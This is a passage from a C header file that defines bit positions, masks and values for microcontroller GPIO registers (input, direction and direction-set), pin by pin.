#define GPIO_IN_PIN29_Msk (0x1UL << GPIO_IN_PIN29_Pos) /*!< Bit mask of PIN29 field. */
#define GPIO_IN_PIN29_Low (0UL) /*!< Pin input is low */
#define GPIO_IN_PIN29_High (1UL) /*!< Pin input is high */
/* Bit 28 : Pin 28 */
#define GPIO_IN_PIN28_Pos (28UL) /*!< Position of PIN28 field. */
#define GPIO_IN_PIN28_Msk (0x1UL << GPIO_IN_PIN28_Pos) /*!< Bit mask of PIN28 field. */
#define GPIO_IN_PIN28_Low (0UL) /*!< Pin input is low */
#define GPIO_IN_PIN28_High (1UL) /*!< Pin input is high */
/* Bit 27 : Pin 27 */
#define GPIO_IN_PIN27_Pos (27UL) /*!< Position of PIN27 field. */
#define GPIO_IN_PIN27_Msk (0x1UL << GPIO_IN_PIN27_Pos) /*!< Bit mask of PIN27 field. */
#define GPIO_IN_PIN27_Low (0UL) /*!< Pin input is low */
#define GPIO_IN_PIN27_High (1UL) /*!< Pin input is high */
/* Bit 26 : Pin 26 */
#define GPIO_IN_PIN26_Pos (26UL) /*!< Position of PIN26 field. */
#define GPIO_IN_PIN26_Msk (0x1UL << GPIO_IN_PIN26_Pos) /*!< Bit mask of PIN26 field. */
#define GPIO_IN_PIN26_Low (0UL) /*!< Pin input is low */
#define GPIO_IN_PIN26_High (1UL) /*!< Pin input is high */
/* Bit 25 : Pin 25 */
#define GPIO_IN_PIN25_Pos (25UL) /*!< Position of PIN25 field. */
#define GPIO_IN_PIN25_Msk (0x1UL << GPIO_IN_PIN25_Pos) /*!< Bit mask of PIN25 field. */
#define GPIO_IN_PIN25_Low (0UL) /*!< Pin input is low */
#define GPIO_IN_PIN25_High (1UL) /*!< Pin input is high */
/* Bit 24 : Pin 24 */
#define GPIO_IN_PIN24_Pos (24UL) /*!< Position of PIN24 field. */
#define GPIO_IN_PIN24_Msk (0x1UL << GPIO_IN_PIN24_Pos) /*!< Bit mask of PIN24 field. */
#define GPIO_IN_PIN24_Low (0UL) /*!< Pin input is low */
#define GPIO_IN_PIN24_High (1UL) /*!< Pin input is high */
/* Bit 23 : Pin 23 */
#define GPIO_IN_PIN23_Pos (23UL) /*!< Position of PIN23 field. */
#define GPIO_IN_PIN23_Msk (0x1UL << GPIO_IN_PIN23_Pos) /*!< Bit mask of PIN23 field. */
#define GPIO_IN_PIN23_Low (0UL) /*!< Pin input is low */
#define GPIO_IN_PIN23_High (1UL) /*!< Pin input is high */
/* Bit 22 : Pin 22 */
#define GPIO_IN_PIN22_Pos (22UL) /*!< Position of PIN22 field. */
#define GPIO_IN_PIN22_Msk (0x1UL << GPIO_IN_PIN22_Pos) /*!< Bit mask of PIN22 field. */
#define GPIO_IN_PIN22_Low (0UL) /*!< Pin input is low */
#define GPIO_IN_PIN22_High (1UL) /*!< Pin input is high */
/* Bit 21 : Pin 21 */
#define GPIO_IN_PIN21_Pos (21UL) /*!< Position of PIN21 field. */
#define GPIO_IN_PIN21_Msk (0x1UL << GPIO_IN_PIN21_Pos) /*!< Bit mask of PIN21 field. */
#define GPIO_IN_PIN21_Low (0UL) /*!< Pin input is low */
#define GPIO_IN_PIN21_High (1UL) /*!< Pin input is high */
/* Bit 20 : Pin 20 */
#define GPIO_IN_PIN20_Pos (20UL) /*!< Position of PIN20 field. */
#define GPIO_IN_PIN20_Msk (0x1UL << GPIO_IN_PIN20_Pos) /*!< Bit mask of PIN20 field. */
#define GPIO_IN_PIN20_Low (0UL) /*!< Pin input is low */
#define GPIO_IN_PIN20_High (1UL) /*!< Pin input is high */
/* Bit 19 : Pin 19 */
#define GPIO_IN_PIN19_Pos (19UL) /*!< Position of PIN19 field. */
#define GPIO_IN_PIN19_Msk (0x1UL << GPIO_IN_PIN19_Pos) /*!< Bit mask of PIN19 field. */
#define GPIO_IN_PIN19_Low (0UL) /*!< Pin input is low */
#define GPIO_IN_PIN19_High (1UL) /*!< Pin input is high */
/* Bit 18 : Pin 18 */
#define GPIO_IN_PIN18_Pos (18UL) /*!< Position of PIN18 field. */
#define GPIO_IN_PIN18_Msk (0x1UL << GPIO_IN_PIN18_Pos) /*!< Bit mask of PIN18 field. */
#define GPIO_IN_PIN18_Low (0UL) /*!< Pin input is low */
#define GPIO_IN_PIN18_High (1UL) /*!< Pin input is high */
/* Bit 17 : Pin 17 */
#define GPIO_IN_PIN17_Pos (17UL) /*!< Position of PIN17 field. */
#define GPIO_IN_PIN17_Msk (0x1UL << GPIO_IN_PIN17_Pos) /*!< Bit mask of PIN17 field. */
#define GPIO_IN_PIN17_Low (0UL) /*!< Pin input is low */
#define GPIO_IN_PIN17_High (1UL) /*!< Pin input is high */
/* Bit 16 : Pin 16 */
#define GPIO_IN_PIN16_Pos (16UL) /*!< Position of PIN16 field. */
#define GPIO_IN_PIN16_Msk (0x1UL << GPIO_IN_PIN16_Pos) /*!< Bit mask of PIN16 field. */
#define GPIO_IN_PIN16_Low (0UL) /*!< Pin input is low */
#define GPIO_IN_PIN16_High (1UL) /*!< Pin input is high */
/* Bit 15 : Pin 15 */
#define GPIO_IN_PIN15_Pos (15UL) /*!< Position of PIN15 field. */
#define GPIO_IN_PIN15_Msk (0x1UL << GPIO_IN_PIN15_Pos) /*!< Bit mask of PIN15 field. */
#define GPIO_IN_PIN15_Low (0UL) /*!< Pin input is low */
#define GPIO_IN_PIN15_High (1UL) /*!< Pin input is high */
/* Bit 14 : Pin 14 */
#define GPIO_IN_PIN14_Pos (14UL) /*!< Position of PIN14 field. */
#define GPIO_IN_PIN14_Msk (0x1UL << GPIO_IN_PIN14_Pos) /*!< Bit mask of PIN14 field. */
#define GPIO_IN_PIN14_Low (0UL) /*!< Pin input is low */
#define GPIO_IN_PIN14_High (1UL) /*!< Pin input is high */
/* Bit 13 : Pin 13 */
#define GPIO_IN_PIN13_Pos (13UL) /*!< Position of PIN13 field. */
#define GPIO_IN_PIN13_Msk (0x1UL << GPIO_IN_PIN13_Pos) /*!< Bit mask of PIN13 field. */
#define GPIO_IN_PIN13_Low (0UL) /*!< Pin input is low */
#define GPIO_IN_PIN13_High (1UL) /*!< Pin input is high */
/* Bit 12 : Pin 12 */
#define GPIO_IN_PIN12_Pos (12UL) /*!< Position of PIN12 field. */
#define GPIO_IN_PIN12_Msk (0x1UL << GPIO_IN_PIN12_Pos) /*!< Bit mask of PIN12 field. */
#define GPIO_IN_PIN12_Low (0UL) /*!< Pin input is low */
#define GPIO_IN_PIN12_High (1UL) /*!< Pin input is high */
/* Bit 11 : Pin 11 */
#define GPIO_IN_PIN11_Pos (11UL) /*!< Position of PIN11 field. */
#define GPIO_IN_PIN11_Msk (0x1UL << GPIO_IN_PIN11_Pos) /*!< Bit mask of PIN11 field. */
#define GPIO_IN_PIN11_Low (0UL) /*!< Pin input is low */
#define GPIO_IN_PIN11_High (1UL) /*!< Pin input is high */
/* Bit 10 : Pin 10 */
#define GPIO_IN_PIN10_Pos (10UL) /*!< Position of PIN10 field. */
#define GPIO_IN_PIN10_Msk (0x1UL << GPIO_IN_PIN10_Pos) /*!< Bit mask of PIN10 field. */
#define GPIO_IN_PIN10_Low (0UL) /*!< Pin input is low */
#define GPIO_IN_PIN10_High (1UL) /*!< Pin input is high */
/* Bit 9 : Pin 9 */
#define GPIO_IN_PIN9_Pos (9UL) /*!< Position of PIN9 field. */
#define GPIO_IN_PIN9_Msk (0x1UL << GPIO_IN_PIN9_Pos) /*!< Bit mask of PIN9 field. */
#define GPIO_IN_PIN9_Low (0UL) /*!< Pin input is low */
#define GPIO_IN_PIN9_High (1UL) /*!< Pin input is high */
/* Bit 8 : Pin 8 */
#define GPIO_IN_PIN8_Pos (8UL) /*!< Position of PIN8 field. */
#define GPIO_IN_PIN8_Msk (0x1UL << GPIO_IN_PIN8_Pos) /*!< Bit mask of PIN8 field. */
#define GPIO_IN_PIN8_Low (0UL) /*!< Pin input is low */
#define GPIO_IN_PIN8_High (1UL) /*!< Pin input is high */
/* Bit 7 : Pin 7 */
#define GPIO_IN_PIN7_Pos (7UL) /*!< Position of PIN7 field. */
#define GPIO_IN_PIN7_Msk (0x1UL << GPIO_IN_PIN7_Pos) /*!< Bit mask of PIN7 field. */
#define GPIO_IN_PIN7_Low (0UL) /*!< Pin input is low */
#define GPIO_IN_PIN7_High (1UL) /*!< Pin input is high */
/* Bit 6 : Pin 6 */
#define GPIO_IN_PIN6_Pos (6UL) /*!< Position of PIN6 field. */
#define GPIO_IN_PIN6_Msk (0x1UL << GPIO_IN_PIN6_Pos) /*!< Bit mask of PIN6 field. */
#define GPIO_IN_PIN6_Low (0UL) /*!< Pin input is low */
#define GPIO_IN_PIN6_High (1UL) /*!< Pin input is high */
/* Bit 5 : Pin 5 */
#define GPIO_IN_PIN5_Pos (5UL) /*!< Position of PIN5 field. */
#define GPIO_IN_PIN5_Msk (0x1UL << GPIO_IN_PIN5_Pos) /*!< Bit mask of PIN5 field. */
#define GPIO_IN_PIN5_Low (0UL) /*!< Pin input is low */
#define GPIO_IN_PIN5_High (1UL) /*!< Pin input is high */
/* Bit 4 : Pin 4 */
#define GPIO_IN_PIN4_Pos (4UL) /*!< Position of PIN4 field. */
#define GPIO_IN_PIN4_Msk (0x1UL << GPIO_IN_PIN4_Pos) /*!< Bit mask of PIN4 field. */
#define GPIO_IN_PIN4_Low (0UL) /*!< Pin input is low */
#define GPIO_IN_PIN4_High (1UL) /*!< Pin input is high */
/* Bit 3 : Pin 3 */
#define GPIO_IN_PIN3_Pos (3UL) /*!< Position of PIN3 field. */
#define GPIO_IN_PIN3_Msk (0x1UL << GPIO_IN_PIN3_Pos) /*!< Bit mask of PIN3 field. */
#define GPIO_IN_PIN3_Low (0UL) /*!< Pin input is low */
#define GPIO_IN_PIN3_High (1UL) /*!< Pin input is high */
/* Bit 2 : Pin 2 */
#define GPIO_IN_PIN2_Pos (2UL) /*!< Position of PIN2 field. */
#define GPIO_IN_PIN2_Msk (0x1UL << GPIO_IN_PIN2_Pos) /*!< Bit mask of PIN2 field. */
#define GPIO_IN_PIN2_Low (0UL) /*!< Pin input is low */
#define GPIO_IN_PIN2_High (1UL) /*!< Pin input is high */
/* Bit 1 : Pin 1 */
#define GPIO_IN_PIN1_Pos (1UL) /*!< Position of PIN1 field. */
#define GPIO_IN_PIN1_Msk (0x1UL << GPIO_IN_PIN1_Pos) /*!< Bit mask of PIN1 field. */
#define GPIO_IN_PIN1_Low (0UL) /*!< Pin input is low */
#define GPIO_IN_PIN1_High (1UL) /*!< Pin input is high */
/* Bit 0 : Pin 0 */
#define GPIO_IN_PIN0_Pos (0UL) /*!< Position of PIN0 field. */
#define GPIO_IN_PIN0_Msk (0x1UL << GPIO_IN_PIN0_Pos) /*!< Bit mask of PIN0 field. */
#define GPIO_IN_PIN0_Low (0UL) /*!< Pin input is low */
#define GPIO_IN_PIN0_High (1UL) /*!< Pin input is high */
/* Register: GPIO_DIR */
/* Description: Direction of GPIO pins */
/* Bit 31 : Pin 31 */
#define GPIO_DIR_PIN31_Pos (31UL) /*!< Position of PIN31 field. */
#define GPIO_DIR_PIN31_Msk (0x1UL << GPIO_DIR_PIN31_Pos) /*!< Bit mask of PIN31 field. */
#define GPIO_DIR_PIN31_Input (0UL) /*!< Pin set as input */
#define GPIO_DIR_PIN31_Output (1UL) /*!< Pin set as output */
/* Bit 30 : Pin 30 */
#define GPIO_DIR_PIN30_Pos (30UL) /*!< Position of PIN30 field. */
#define GPIO_DIR_PIN30_Msk (0x1UL << GPIO_DIR_PIN30_Pos) /*!< Bit mask of PIN30 field. */
#define GPIO_DIR_PIN30_Input (0UL) /*!< Pin set as input */
#define GPIO_DIR_PIN30_Output (1UL) /*!< Pin set as output */
/* Bit 29 : Pin 29 */
#define GPIO_DIR_PIN29_Pos (29UL) /*!< Position of PIN29 field. */
#define GPIO_DIR_PIN29_Msk (0x1UL << GPIO_DIR_PIN29_Pos) /*!< Bit mask of PIN29 field. */
#define GPIO_DIR_PIN29_Input (0UL) /*!< Pin set as input */
#define GPIO_DIR_PIN29_Output (1UL) /*!< Pin set as output */
/* Bit 28 : Pin 28 */
#define GPIO_DIR_PIN28_Pos (28UL) /*!< Position of PIN28 field. */
#define GPIO_DIR_PIN28_Msk (0x1UL << GPIO_DIR_PIN28_Pos) /*!< Bit mask of PIN28 field. */
#define GPIO_DIR_PIN28_Input (0UL) /*!< Pin set as input */
#define GPIO_DIR_PIN28_Output (1UL) /*!< Pin set as output */
/* Bit 27 : Pin 27 */
#define GPIO_DIR_PIN27_Pos (27UL) /*!< Position of PIN27 field. */
#define GPIO_DIR_PIN27_Msk (0x1UL << GPIO_DIR_PIN27_Pos) /*!< Bit mask of PIN27 field. */
#define GPIO_DIR_PIN27_Input (0UL) /*!< Pin set as input */
#define GPIO_DIR_PIN27_Output (1UL) /*!< Pin set as output */
/* Bit 26 : Pin 26 */
#define GPIO_DIR_PIN26_Pos (26UL) /*!< Position of PIN26 field. */
#define GPIO_DIR_PIN26_Msk (0x1UL << GPIO_DIR_PIN26_Pos) /*!< Bit mask of PIN26 field. */
#define GPIO_DIR_PIN26_Input (0UL) /*!< Pin set as input */
#define GPIO_DIR_PIN26_Output (1UL) /*!< Pin set as output */
/* Bit 25 : Pin 25 */
#define GPIO_DIR_PIN25_Pos (25UL) /*!< Position of PIN25 field. */
#define GPIO_DIR_PIN25_Msk (0x1UL << GPIO_DIR_PIN25_Pos) /*!< Bit mask of PIN25 field. */
#define GPIO_DIR_PIN25_Input (0UL) /*!< Pin set as input */
#define GPIO_DIR_PIN25_Output (1UL) /*!< Pin set as output */
/* Bit 24 : Pin 24 */
#define GPIO_DIR_PIN24_Pos (24UL) /*!< Position of PIN24 field. */
#define GPIO_DIR_PIN24_Msk (0x1UL << GPIO_DIR_PIN24_Pos) /*!< Bit mask of PIN24 field. */
#define GPIO_DIR_PIN24_Input (0UL) /*!< Pin set as input */
#define GPIO_DIR_PIN24_Output (1UL) /*!< Pin set as output */
/* Bit 23 : Pin 23 */
#define GPIO_DIR_PIN23_Pos (23UL) /*!< Position of PIN23 field. */
#define GPIO_DIR_PIN23_Msk (0x1UL << GPIO_DIR_PIN23_Pos) /*!< Bit mask of PIN23 field. */
#define GPIO_DIR_PIN23_Input (0UL) /*!< Pin set as input */
#define GPIO_DIR_PIN23_Output (1UL) /*!< Pin set as output */
/* Bit 22 : Pin 22 */
#define GPIO_DIR_PIN22_Pos (22UL) /*!< Position of PIN22 field. */
#define GPIO_DIR_PIN22_Msk (0x1UL << GPIO_DIR_PIN22_Pos) /*!< Bit mask of PIN22 field. */
#define GPIO_DIR_PIN22_Input (0UL) /*!< Pin set as input */
#define GPIO_DIR_PIN22_Output (1UL) /*!< Pin set as output */
/* Bit 21 : Pin 21 */
#define GPIO_DIR_PIN21_Pos (21UL) /*!< Position of PIN21 field. */
#define GPIO_DIR_PIN21_Msk (0x1UL << GPIO_DIR_PIN21_Pos) /*!< Bit mask of PIN21 field. */
#define GPIO_DIR_PIN21_Input (0UL) /*!< Pin set as input */
#define GPIO_DIR_PIN21_Output (1UL) /*!< Pin set as output */
/* Bit 20 : Pin 20 */
#define GPIO_DIR_PIN20_Pos (20UL) /*!< Position of PIN20 field. */
#define GPIO_DIR_PIN20_Msk (0x1UL << GPIO_DIR_PIN20_Pos) /*!< Bit mask of PIN20 field. */
#define GPIO_DIR_PIN20_Input (0UL) /*!< Pin set as input */
#define GPIO_DIR_PIN20_Output (1UL) /*!< Pin set as output */
/* Bit 19 : Pin 19 */
#define GPIO_DIR_PIN19_Pos (19UL) /*!< Position of PIN19 field. */
#define GPIO_DIR_PIN19_Msk (0x1UL << GPIO_DIR_PIN19_Pos) /*!< Bit mask of PIN19 field. */
#define GPIO_DIR_PIN19_Input (0UL) /*!< Pin set as input */
#define GPIO_DIR_PIN19_Output (1UL) /*!< Pin set as output */
/* Bit 18 : Pin 18 */
#define GPIO_DIR_PIN18_Pos (18UL) /*!< Position of PIN18 field. */
#define GPIO_DIR_PIN18_Msk (0x1UL << GPIO_DIR_PIN18_Pos) /*!< Bit mask of PIN18 field. */
#define GPIO_DIR_PIN18_Input (0UL) /*!< Pin set as input */
#define GPIO_DIR_PIN18_Output (1UL) /*!< Pin set as output */
/* Bit 17 : Pin 17 */
#define GPIO_DIR_PIN17_Pos (17UL) /*!< Position of PIN17 field. */
#define GPIO_DIR_PIN17_Msk (0x1UL << GPIO_DIR_PIN17_Pos) /*!< Bit mask of PIN17 field. */
#define GPIO_DIR_PIN17_Input (0UL) /*!< Pin set as input */
#define GPIO_DIR_PIN17_Output (1UL) /*!< Pin set as output */
/* Bit 16 : Pin 16 */
#define GPIO_DIR_PIN16_Pos (16UL) /*!< Position of PIN16 field. */
#define GPIO_DIR_PIN16_Msk (0x1UL << GPIO_DIR_PIN16_Pos) /*!< Bit mask of PIN16 field. */
#define GPIO_DIR_PIN16_Input (0UL) /*!< Pin set as input */
#define GPIO_DIR_PIN16_Output (1UL) /*!< Pin set as output */
/* Bit 15 : Pin 15 */
#define GPIO_DIR_PIN15_Pos (15UL) /*!< Position of PIN15 field. */
#define GPIO_DIR_PIN15_Msk (0x1UL << GPIO_DIR_PIN15_Pos) /*!< Bit mask of PIN15 field. */
#define GPIO_DIR_PIN15_Input (0UL) /*!< Pin set as input */
#define GPIO_DIR_PIN15_Output (1UL) /*!< Pin set as output */
/* Bit 14 : Pin 14 */
#define GPIO_DIR_PIN14_Pos (14UL) /*!< Position of PIN14 field. */
#define GPIO_DIR_PIN14_Msk (0x1UL << GPIO_DIR_PIN14_Pos) /*!< Bit mask of PIN14 field. */
#define GPIO_DIR_PIN14_Input (0UL) /*!< Pin set as input */
#define GPIO_DIR_PIN14_Output (1UL) /*!< Pin set as output */
/* Bit 13 : Pin 13 */
#define GPIO_DIR_PIN13_Pos (13UL) /*!< Position of PIN13 field. */
#define GPIO_DIR_PIN13_Msk (0x1UL << GPIO_DIR_PIN13_Pos) /*!< Bit mask of PIN13 field. */
#define GPIO_DIR_PIN13_Input (0UL) /*!< Pin set as input */
#define GPIO_DIR_PIN13_Output (1UL) /*!< Pin set as output */
/* Bit 12 : Pin 12 */
#define GPIO_DIR_PIN12_Pos (12UL) /*!< Position of PIN12 field. */
#define GPIO_DIR_PIN12_Msk (0x1UL << GPIO_DIR_PIN12_Pos) /*!< Bit mask of PIN12 field. */
#define GPIO_DIR_PIN12_Input (0UL) /*!< Pin set as input */
#define GPIO_DIR_PIN12_Output (1UL) /*!< Pin set as output */
/* Bit 11 : Pin 11 */
#define GPIO_DIR_PIN11_Pos (11UL) /*!< Position of PIN11 field. */
#define GPIO_DIR_PIN11_Msk (0x1UL << GPIO_DIR_PIN11_Pos) /*!< Bit mask of PIN11 field. */
#define GPIO_DIR_PIN11_Input (0UL) /*!< Pin set as input */
#define GPIO_DIR_PIN11_Output (1UL) /*!< Pin set as output */
/* Bit 10 : Pin 10 */
#define GPIO_DIR_PIN10_Pos (10UL) /*!< Position of PIN10 field. */
#define GPIO_DIR_PIN10_Msk (0x1UL << GPIO_DIR_PIN10_Pos) /*!< Bit mask of PIN10 field. */
#define GPIO_DIR_PIN10_Input (0UL) /*!< Pin set as input */
#define GPIO_DIR_PIN10_Output (1UL) /*!< Pin set as output */
/* Bit 9 : Pin 9 */
#define GPIO_DIR_PIN9_Pos (9UL) /*!< Position of PIN9 field. */
#define GPIO_DIR_PIN9_Msk (0x1UL << GPIO_DIR_PIN9_Pos) /*!< Bit mask of PIN9 field. */
#define GPIO_DIR_PIN9_Input (0UL) /*!< Pin set as input */
#define GPIO_DIR_PIN9_Output (1UL) /*!< Pin set as output */
/* Bit 8 : Pin 8 */
#define GPIO_DIR_PIN8_Pos (8UL) /*!< Position of PIN8 field. */
#define GPIO_DIR_PIN8_Msk (0x1UL << GPIO_DIR_PIN8_Pos) /*!< Bit mask of PIN8 field. */
#define GPIO_DIR_PIN8_Input (0UL) /*!< Pin set as input */
#define GPIO_DIR_PIN8_Output (1UL) /*!< Pin set as output */
/* Bit 7 : Pin 7 */
#define GPIO_DIR_PIN7_Pos (7UL) /*!< Position of PIN7 field. */
#define GPIO_DIR_PIN7_Msk (0x1UL << GPIO_DIR_PIN7_Pos) /*!< Bit mask of PIN7 field. */
#define GPIO_DIR_PIN7_Input (0UL) /*!< Pin set as input */
#define GPIO_DIR_PIN7_Output (1UL) /*!< Pin set as output */
/* Bit 6 : Pin 6 */
#define GPIO_DIR_PIN6_Pos (6UL) /*!< Position of PIN6 field. */
#define GPIO_DIR_PIN6_Msk (0x1UL << GPIO_DIR_PIN6_Pos) /*!< Bit mask of PIN6 field. */
#define GPIO_DIR_PIN6_Input (0UL) /*!< Pin set as input */
#define GPIO_DIR_PIN6_Output (1UL) /*!< Pin set as output */
/* Bit 5 : Pin 5 */
#define GPIO_DIR_PIN5_Pos (5UL) /*!< Position of PIN5 field. */
#define GPIO_DIR_PIN5_Msk (0x1UL << GPIO_DIR_PIN5_Pos) /*!< Bit mask of PIN5 field. */
#define GPIO_DIR_PIN5_Input (0UL) /*!< Pin set as input */
#define GPIO_DIR_PIN5_Output (1UL) /*!< Pin set as output */
/* Bit 4 : Pin 4 */
#define GPIO_DIR_PIN4_Pos (4UL) /*!< Position of PIN4 field. */
#define GPIO_DIR_PIN4_Msk (0x1UL << GPIO_DIR_PIN4_Pos) /*!< Bit mask of PIN4 field. */
#define GPIO_DIR_PIN4_Input (0UL) /*!< Pin set as input */
#define GPIO_DIR_PIN4_Output (1UL) /*!< Pin set as output */
/* Bit 3 : Pin 3 */
#define GPIO_DIR_PIN3_Pos (3UL) /*!< Position of PIN3 field. */
#define GPIO_DIR_PIN3_Msk (0x1UL << GPIO_DIR_PIN3_Pos) /*!< Bit mask of PIN3 field. */
#define GPIO_DIR_PIN3_Input (0UL) /*!< Pin set as input */
#define GPIO_DIR_PIN3_Output (1UL) /*!< Pin set as output */
/* Bit 2 : Pin 2 */
#define GPIO_DIR_PIN2_Pos (2UL) /*!< Position of PIN2 field. */
#define GPIO_DIR_PIN2_Msk (0x1UL << GPIO_DIR_PIN2_Pos) /*!< Bit mask of PIN2 field. */
#define GPIO_DIR_PIN2_Input (0UL) /*!< Pin set as input */
#define GPIO_DIR_PIN2_Output (1UL) /*!< Pin set as output */
/* Bit 1 : Pin 1 */
#define GPIO_DIR_PIN1_Pos (1UL) /*!< Position of PIN1 field. */
#define GPIO_DIR_PIN1_Msk (0x1UL << GPIO_DIR_PIN1_Pos) /*!< Bit mask of PIN1 field. */
#define GPIO_DIR_PIN1_Input (0UL) /*!< Pin set as input */
#define GPIO_DIR_PIN1_Output (1UL) /*!< Pin set as output */
/* Bit 0 : Pin 0 */
#define GPIO_DIR_PIN0_Pos (0UL) /*!< Position of PIN0 field. */
#define GPIO_DIR_PIN0_Msk (0x1UL << GPIO_DIR_PIN0_Pos) /*!< Bit mask of PIN0 field. */
#define GPIO_DIR_PIN0_Input (0UL) /*!< Pin set as input */
#define GPIO_DIR_PIN0_Output (1UL) /*!< Pin set as output */
/* Register: GPIO_DIRSET */
/* Description: DIR set register */
/* Bit 31 : Set as output pin 31 */
#define GPIO_DIRSET_PIN31_Pos (31UL) /*!< Position of PIN31 field. */
#define GPIO_DIRSET_PIN31_Msk (0x1UL << GPIO_DIRSET_PIN31_Pos) /*!< Bit mask of PIN31 field. */
#define GPIO_DIRSET_PIN31_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRSET_PIN31_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRSET_PIN31_Set (1UL) /*!< Write: writing a '1' sets pin to output; writing a '0' has no effect */
/* Bit 30 : Set as output pin 30 */
#define GPIO_DIRSET_PIN30_Pos (30UL) /*!< Position of PIN30 field. */
#define GPIO_DIRSET_PIN30_Msk (0x1UL << GPIO_DIRSET_PIN30_Pos) /*!< Bit mask of PIN30 field. */
#define GPIO_DIRSET_PIN30_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRSET_PIN30_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRSET_PIN30_Set (1UL) /*!< Write: writing a '1' sets pin to output; writing a '0' has no effect */
/* Bit 29 : Set as output pin 29 */
#define GPIO_DIRSET_PIN29_Pos (29UL) /*!< Position of PIN29 field. */
#define GPIO_DIRSET_PIN29_Msk (0x1UL << GPIO_DIRSET_PIN29_Pos) /*!< Bit mask of PIN29 field. */
#define GPIO_DIRSET_PIN29_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRSET_PIN29_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRSET_PIN29_Set (1UL) /*!< Write: writing a '1' sets pin to output; writing a '0' has no effect */
/* Bit 28 : Set as output pin 28 */
#define GPIO_DIRSET_PIN28_Pos (28UL) /*!< Position of PIN28 field. */
#define GPIO_DIRSET_PIN28_Msk (0x1UL << GPIO_DIRSET_PIN28_Pos) /*!< Bit mask of PIN28 field. */
#define GPIO_DIRSET_PIN28_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRSET_PIN28_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRSET_PIN28_Set (1UL) /*!< Write: writing a '1' sets pin to output; writing a '0' has no effect */
/* Bit 27 : Set as output pin 27 */
#define GPIO_DIRSET_PIN27_Pos (27UL) /*!< Position of PIN27 field. */
#define GPIO_DIRSET_PIN27_Msk (0x1UL << GPIO_DIRSET_PIN27_Pos) /*!< Bit mask of PIN27 field. */
#define GPIO_DIRSET_PIN27_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRSET_PIN27_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRSET_PIN27_Set (1UL) /*!< Write: writing a '1' sets pin to output; writing a '0' has no effect */
/* Bit 26 : Set as output pin 26 */
#define GPIO_DIRSET_PIN26_Pos (26UL) /*!< Position of PIN26 field. */
#define GPIO_DIRSET_PIN26_Msk (0x1UL << GPIO_DIRSET_PIN26_Pos) /*!< Bit mask of PIN26 field. */
#define GPIO_DIRSET_PIN26_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRSET_PIN26_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRSET_PIN26_Set (1UL) /*!< Write: writing a '1' sets pin to output; writing a '0' has no effect */
/* Bit 25 : Set as output pin 25 */
#define GPIO_DIRSET_PIN25_Pos (25UL) /*!< Position of PIN25 field. */
#define GPIO_DIRSET_PIN25_Msk (0x1UL << GPIO_DIRSET_PIN25_Pos) /*!< Bit mask of PIN25 field. */
#define GPIO_DIRSET_PIN25_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRSET_PIN25_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRSET_PIN25_Set (1UL) /*!< Write: writing a '1' sets pin to output; writing a '0' has no effect */
/* Bit 24 : Set as output pin 24 */
#define GPIO_DIRSET_PIN24_Pos (24UL) /*!< Position of PIN24 field. */
#define GPIO_DIRSET_PIN24_Msk (0x1UL << GPIO_DIRSET_PIN24_Pos) /*!< Bit mask of PIN24 field. */
#define GPIO_DIRSET_PIN24_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRSET_PIN24_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRSET_PIN24_Set (1UL) /*!< Write: writing a '1' sets pin to output; writing a '0' has no effect */
/* Bit 23 : Set as output pin 23 */
#define GPIO_DIRSET_PIN23_Pos (23UL) /*!< Position of PIN23 field. */
#define GPIO_DIRSET_PIN23_Msk (0x1UL << GPIO_DIRSET_PIN23_Pos) /*!< Bit mask of PIN23 field. */
#define GPIO_DIRSET_PIN23_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRSET_PIN23_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRSET_PIN23_Set (1UL) /*!< Write: writing a '1' sets pin to output; writing a '0' has no effect */
/* Bit 22 : Set as output pin 22 */
#define GPIO_DIRSET_PIN22_Pos (22UL) /*!< Position of PIN22 field. */
#define GPIO_DIRSET_PIN22_Msk (0x1UL << GPIO_DIRSET_PIN22_Pos) /*!< Bit mask of PIN22 field. */
#define GPIO_DIRSET_PIN22_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRSET_PIN22_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRSET_PIN22_Set (1UL) /*!< Write: writing a '1' sets pin to output; writing a '0' has no effect */
/* Bit 21 : Set as output pin 21 */
#define GPIO_DIRSET_PIN21_Pos (21UL) /*!< Position of PIN21 field. */
#define GPIO_DIRSET_PIN21_Msk (0x1UL << GPIO_DIRSET_PIN21_Pos) /*!< Bit mask of PIN21 field. */
#define GPIO_DIRSET_PIN21_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRSET_PIN21_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRSET_PIN21_Set (1UL) /*!< Write: writing a '1' sets pin to output; writing a '0' has no effect */
/* Bit 20 : Set as output pin 20 */
#define GPIO_DIRSET_PIN20_Pos (20UL) /*!< Position of PIN20 field. */
#define GPIO_DIRSET_PIN20_Msk (0x1UL << GPIO_DIRSET_PIN20_Pos) /*!< Bit mask of PIN20 field. */
#define GPIO_DIRSET_PIN20_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRSET_PIN20_Output (1UL) /*!< Read: pin set as output */
#define GPIO_DIRSET_PIN20_Set (1UL) /*!< Write: writing a '1' sets pin to output; writing a '0' has no effect */
/* Bit 19 : Set as output pin 19 */
#define GPIO_DIRSET_PIN19_Pos (19UL) /*!< Position of PIN19 field. */
#define GPIO_DIRSET_PIN19_Msk (0x1UL << GPIO_DIRSET_PIN19_Pos) /*!< Bit mask of PIN19 field. */
#define GPIO_DIRSET_PIN19_Input (0UL) /*!< Read: pin set as input */
#define GPIO_DIRSET_PIN19_Output (1UL) /*!< Read: pin set as output */
